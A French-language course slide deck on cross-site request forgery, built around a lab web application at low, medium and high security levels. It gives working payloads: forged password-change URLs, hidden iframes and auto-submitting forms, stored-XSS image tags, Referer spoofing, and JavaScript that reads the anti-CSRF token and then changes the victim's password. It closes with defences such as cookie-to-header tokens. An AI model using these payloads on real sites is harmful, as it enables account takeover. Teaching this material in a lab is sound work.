# CSRF ## aka Cross-Site Request Forgery <i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i> <br /><br /><br /><br /><br /><br /> <small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small> ### <i class="fas fa-cogs"></i> CSRF * affecte toute ressource disponible directement * sans étape intermédiaire * avec authentification * usurpation de session * ou pas * redirection arbitraire ### <i class="fas fa-cogs"></i> CSRF  Note: - rappel ici mail, mais aussi - XSS - lien déguisé - url shortner ### <i class="fas fa-ice-cream"></i> CSRF / types * urls / formulaires forgés relayés via [XSS](xss.html) * redirections arbitraires relayés via [XSS](xss.html) * social engineering * initulé de lien malicieux * url shortner * phishing * par mail * par [XSS stored](xss.html) ### <i class="fa-solid fa-bomb"></i> CSRF / payload * le but est de rediriger un utilisateur vers une url * à l'insu de son plein gré * exécuter des opérations avec les permissions d'un autre utilisateur * envoyer du spam (de commentaire) Note: - l'action avec privilège - urls connues (CMS, ...) - on espère que l'utilisateur est logué - spam de commentaire - urls connues (CMS, ...) ### <i class="fa-solid fa-bomb"></i> CSRF / low ``` New password: pipo Confirm new password: pipo ``` <small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#)</small> * via GET en injectant ```http <iframe src="javascript:window.location='http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#';" height="0" width="0" style="border:0;"> </iframe> ``` * possible via POST avec en scriptant ```http <form action="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" method="post" id="formid" onload="document.getElementById('formid').submit();"> <input type="hidden" name="password_new" value="1337"/> <input type="hidden" name="password_conf" value="1337"/> </form> ``` Note: - analyser la requête de changement de mot de passe avec burp - forger une url - forger un form - injecter via XSS stored par exemple - problème de l'action silencieuse et aveugle - on ne sait pas sur qui ca marche - si on a une liste des utilisateurs du site le brute force est un option ### <i class="fa-solid fa-bomb"></i> CSRF / medium <small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#)</small> ``` That request didn't look correct. ``` <small>comparaison requête forgée VS légitime <i class="fa-solid fa-right-long"></i> filtrage par referer</small> ``` if( stripos( $_SERVER[ 'HTTP_REFERER' ], $_SERVER[ 'SERVER_NAME' ]) !== false ) { ``` <i class="fa-solid fa-circle-check"></i> ajouter un header via **burpsuite** ``` Referer: http://vm-etu-vimazeno.local.isima.fr/ ``` <i class="fa-solid fa-circle-check"></i> passer par [XSS (stored) / low](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_s) ``` Name: CSFR Message: <img src="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" /> ``` ### <i class="fa-solid fa-bomb"></i> CSRF / high * **session token** dans un nouveau champs caché du formulaire ``` <input type="hidden" name="user_token" value="840473d541a2e5e4b28e39cc31762f9d"> ``` * le **session token** peut aussi se trouver dans l'url * éventuellement salaison propre à l'utilisateur * IP, user-agent * ajout d'entropie ### <i class="fas fa-medkit"></i> CSRF / high / session token  ### <i class="fa-solid fa-bomb"></i> CSRF / high <small><i class="fa-solid fa-circle-xmark"></i>[/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#)</small> <i class="fa-solid fa-lightbulb"></i> procéder en 2 temps 1. récupérer la valeur du session token 2. jouer la requête CSRF avec le session token Possible via une [XSS](XSS.html) (mais cassé) ### <i class="fa-solid fa-bomb"></i> CSRF / high / payload js * <small>hébergé sur un serveur malicieux [https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js](https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js)</small> ``` function getToken() { var token='&user_token=' + document .getElementById("get_token") .contentDocument .getElementsByName("user_token")[0] .value; var link = "http://vm-etu-vimazeno.local.isima.fr/" + "vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change" + token; document.getElementById("play_CSRF").src=link; } ``` <i class="fa-solid fa-triangle-exclamation"></i> Ne marchera que sur vm-etu-vimazeno ### <i class="fa-solid fa-bomb"></i> CSRF / high / payload XSS <i class="fa-solid fa-lightbulb"></i> cacher les iframes ``` <script src="https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js"></script> Mine de rien <iframe id="get_token" src="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/" onload="getToken()" style="display:none"></iframe> <iframe id="play_CSRF" style="display:none"></iframe> ``` <i class="fa-solid fa-triangle-exclamation"></i> A injecter dans [XSS / low](XSS.html) <i class="fa-solid fa-triangle-exclamation"></i> A jouer dans [XSS / high](XSS.html) ### <i class="fa-solid fa-bomb"></i> CSRF / high / xhr / payload * <small>hébergé sur un serveur malicieux [https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js](https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js)</small> ``` var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/', true); xhr.withCredentials = true; xhr.responseType = "document"; xhr.onload = function () { var token = xhr.response.getElementsByName('user_token')[0].value; }; xhr.send(); var xhr2 = new XMLHttpRequest(); xhr2.open('GET', 'http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=' + token, true); xhr2.send(); ``` ``` <script src="https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js ``` <i class="fa-solid fa-triangle-exclamation"></i> A injecter dans [XSS / low](XSS.html) & jouer dans [XSS / high](XSS.html) ### <i class="fa fa-medkit"></i> CSRF / Se préserver * **Fausses Bonnes Idées** * utiliser la méthode POST * vérifier le referer (ou n'importe quelle autre en-tête) * Session token * Double Submit Pattern ### <i class="fa fa-medkit"></i> CSRF / Cookie-To-Header Token * adapté à une utilisation massive de JS * basé sur la [Same Origin Policy](https://en.wikipedia.org/wiki/Same-origin_policy) * A l'authentification le serveur envoie un cookie contenant un jeton aléatoire valable pendant toute la session de l'utilisateur ```js Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/ ``` ### <i class="fa fa-medkit"></i> CSRF / Cookie-To-Header Token * JavaScript lit le jeton et le renvoie dans un header HTTP spécifique à chaque requête ```js X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql ``` * Le serveur vérifie la validité du token * [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token)